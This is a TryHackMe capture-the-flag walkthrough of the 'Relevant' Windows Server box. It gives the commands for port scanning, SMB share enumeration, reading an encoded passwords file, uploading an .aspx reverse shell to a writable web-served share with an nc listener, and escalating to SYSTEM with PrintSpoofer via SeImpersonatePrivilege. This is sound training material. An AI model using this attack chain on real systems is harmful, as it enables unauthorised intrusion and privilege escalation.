Relevant - TryHackMe Walkthrough

Relevant - “Penetration Testing Challenge. You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in seven days. “

URL: Relevant

Difficulty: Medium

Author: TheMayor


We are given the IP Add this to the /etc/hosts file. Let’s scan the open ports with the following command:

sudo nmap -v -sV -sS -p- -T4 -sC -oN portscan relevant.thm
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Windows Server 2016 Standard Evaluation 14393 netbios-ssn
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: RELEVANT
|   NetBIOS_Domain_Name: RELEVANT
|   NetBIOS_Computer_Name: RELEVANT
|   DNS_Domain_Name: Relevant
|   DNS_Computer_Name: Relevant
|   Product_Version: 10.0.14393
|_  System_Time: 2020-08-22T17:23:55+00:00
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2020-07-24T23:16:08
|_Not valid after:  2021-01-23T23:16:08
|_ssl-date: 2020-08-22T17:24:34+00:00; +1s from scanner time.
49663/tcp open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC

Host script results:
|_clock-skew: mean: 1h24m02s, deviation: 3h07m52s, median: 1s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: Relevant
|   NetBIOS computer name: RELEVANT\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-08-22T10:23:58-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-08-22T17:23:56
|_  start_date: 2020-08-22T17:19:13

This is clearly a Windows box. Let’s check out the webserver on port 49663:

port 49663

This is the default IIS page so let’s move on.

Some of the nmap scripts revealed that smb was running on this machine, let’s try and list any shares:

┌─[[email protected]]─[~/tryhackme/Relevant]
└──╼ $smbclient -L relevant.thm
Enter WORKGROUP\user's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	nt4wrksv        Disk      
SMB1 disabled -- no workgroup available

I managed to access the share “nt4srksv”:

┌─[✗]─[[email protected]]─[~/tryhackme/Relevant]
└──╼ $smbclient  \\\\relevant.thm\\nt4wrksv
Enter WORKGROUP\user's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jul 25 22:46:04 2020
  ..                                  D        0  Sat Jul 25 22:46:04 2020
  passwords.txt                       A       98  Sat Jul 25 16:15:33 2020

Transfer this file over to your local machine:

get passwords.txt

Take a look at the file:


[User Passwords - Encoded]

Looks like it’s base64 encoded. Let’s decode this. I used CyberChef:

CyberChef -

I got the following result:

Bob - !P*********23
Bill - Juw***************$$$

I tried these credentials for some of the services running but I got nothing. After some time, I re-scanned both web servers again with a larger wordlist:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://relevant.thm:49663

I got a hit on the following directory:


This is the same directory that we saw on the share from earlier. Let’s confirm by visiting passwords.txt:

┌─[[email protected]]─[~/tryhackme]
└──╼ $curl relevant.thm:49663/nt4wrksv/passwords.txt
[User Passwords - Encoded]

This means we can upload our own files to the server. However, php is disabled. Another webshell we can upload is .aspx and .asp.

I used this reverse shell:

.aspx Reverse Shell - Github

Add your IP and a port number to the file and upload it to the webserver via smbclient:

┌─[[email protected]]─[~/tryhackme/Relevant/webshells]
└──╼ $smbclient \\\\relevant.thm\\nt4wrksv
Enter WORKGROUP\user's password: 
Try "help" to get a list of possible commands.
smb: \> put shell.aspx
putting file shell.aspx as \shell.aspx (61.6 kb/s) (average 61.6 kb/s)

Let’s listen on port 4444:

nc -nvlp 4444

Visit the file path on the webserver:


reverse shell

The user flag can be found in Bob’s home directory, without even being logged in as him.

I proceeded with some Windows enumeration - understanding groups and user permissions and I came across this:

c:\windows\system32\inetsrv>whoami /priv
whoami /priv


Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

The SeImpersonatePrivilege caught my eye.

Some research shows that this is exploitable for privilege escalation.

The exploit must be for Windows 10 and more, we can identify more information about our system:


I found this article:

PrintSpoofer - Github Pages

if you have SeAssignPrimaryToken or SeImpersonate privilege, you are SYSTEM

They allow you to run code or even create a new process in the context of another user

Take a look at this GitHub repo:

PrintSpoofer - Github

Let’s transfer this executable to our target with smbclient. Once it is there, locate the .exe in one of the web directories and execute it.

cd C:\inetpub\wwwroot\nt4wrksv
PrintSpoofer.exe -i -c cmd

And we have elevated our privileges:

nt authority\system


Written on August 26, 2020